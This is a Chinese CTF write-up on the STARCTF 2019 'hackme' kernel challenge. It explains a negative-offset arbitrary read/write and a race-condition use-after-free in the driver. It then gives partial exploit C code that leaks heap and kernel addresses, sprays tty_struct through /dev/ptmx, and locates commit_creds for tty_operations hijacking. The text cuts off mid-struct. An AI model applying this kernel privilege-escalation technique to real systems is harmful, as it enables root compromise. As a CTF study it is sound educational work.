linux kernal pwn STARCTF 2019 hackme(二)劫持tty_struct ioctl && 劫持tty_struct write

承接上文

参考的还是bsauce大佬的文章
bsauce

稍微回顾一下

漏洞有两个
首先我们显而易见的在读写object的时候对offset没有检查
如果我们的offset是负数
就可以任意地址读写。

第二个是条件竞争
是双核的,对pool的时候缺少锁。
如果我们在一个线程释放obiect的时候另一个线程去对他进行读写,就可以触发uaf。

首先我们要充分熟悉一下slab机制

在Linux中,伙伴系统(buddy system)是以页为单位管理和分配内存。但是现实的需求却以字节为单位,假如我们需要申请20Bytes,总不能分配一页吧!那岂不是严重浪费内存。那么该如何分配呢?slab分配器就应运而生了,专为小内存分配而生。slab分配器分配内存以Byte为单位。但是slab分配器并没有脱离伙伴系统,而是基于伙伴系统分配的大内存进一步细分成小内存分配。

https://blog.youkuaiyun.com/xiaoqiaoq0/article/details/122051942

再熟悉一下userfaultfd机制

内存页的分配是创建时先分配页表但并不会实际分配物理页面。在读写发生时,由于物理页面不存在,触发缺页异常进入内核处理该缺页中断,再实际分配物理页面进行相应的读写。这种延迟分配的机制使得系统性能在一定程序上得到了提升。
userfaultfd机制允许在用户态处理缺页异常,这个特性使得它在内核漏洞利用中可以发挥较大的作用。一个典型的场景时mmap出来一块内存,使用userfaultfd监视该地址,如果发生缺页异常先进入内核,再从内核到用户态定义的缺页处理程序,此时可以在用户态暂停从而间接的实现暂停内核态代码的运行。这种特性使得该机制在竞争以及double fetch类的漏洞利用中能够发挥较大作用。

上次说了通过任意地址读写劫持modprobe_path的思路
bsauce大佬还提出几种思路
我们也来复现一下。

这个是劫持tty_struct 的ioctl函数

	save_status();
	int fd = open("/dev/hackme", 0);
	char *mem = malloc(0x2000);
	memset(mem,'A',0x2000);
	size_t heap_addr , kernel_addr,mod_addr;
	if (fd < 0){
   
		printf("[-] bad open /dev/hackme\n");
		exit(-1);
	}
	alloc(fd,0,mem,0x400);
	alloc(fd,1,mem,0x400);
	alloc(fd,2,mem,0x400);
	alloc(fd,3,mem,0x400);
	alloc(fd,4,mem,0x400);	
	alloc(fd,5,mem,0x400);	
	delete(fd,2);
	delete(fd,4);

	read_from_kernel(fd,5,mem,0x400,-0x400);
	heap_addr = *((size_t *)mem);
	printf("[+] heap addr : %16llx\n",heap_addr );

save_status函数保存了当前状态
然后就是正常的跟之前一样的泄露heap基地址

	int ptmx_fd = open("/dev/ptmx",0);
	if (ptmx_fd < 0){
   
		printf("[-] bad open /dev/ptmx\n");
		exit(-1);
	}
	printf("[+] ptmx fd : %d\n",ptmx_fd);

	read_from_kernel(fd,5,mem,0x400,-0x400);

	kernel_addr = *((size_t  *)(mem+0x18)) ;
	kernel_addr -= 0x625d80;	                            
	printf("[+] kernel addr : %16llx\n",kernel_addr );

	prepare_kernel_cred = 0x4d3d0 + kernel_addr;           
  commit_creds = 0xbcfb0+kernel_addr;	

然后打开了/dev/ptmx设备
这个设备是干嘛的?
我们得首先了解一下linux 伪终端

linux伪终端

具体到/dev/ptmx用处:

我们打开的终端桌面程序,比如 GNOME Terminal,其实是一种终端模拟软件。当终端模拟软件运行时,它通过打开 /dev/ptmx 文件创建了一个伪终端的 master 和 slave 对,并让 shell 运行在 slave 端。当用户在终端模拟软件中按下键盘按键时,它产生字节流并写入 master 中,shell 进程便可从 slave 中读取输入;shell 和它的子程序,将输出内容写入 slave 中,由终端模拟软件负责将字符打印到窗口中。

打开/dev/ptmx设备之后会创建一个tty结构体

struct tty_struct {
   
    int    magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;

    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;

    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;        /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;        /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;    /* Bytes free for queue */
    int flow_change;

    struct tty_struct *link;
    struct fasync_struct *fasync;
    int alt_speed;        /* For magic substitution of 38400 bps */
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;        /* protects tty_files list */
    struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
};

里面的重点是一个tty_operations指针
它指向一个结构体
这个就构体里面充斥着大量的指针
那么我们的机会就来了。

struct tty_operations {
   
    struct tty_struct * (*lookup)(struct tty_driver *driver, struct inode *inode, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值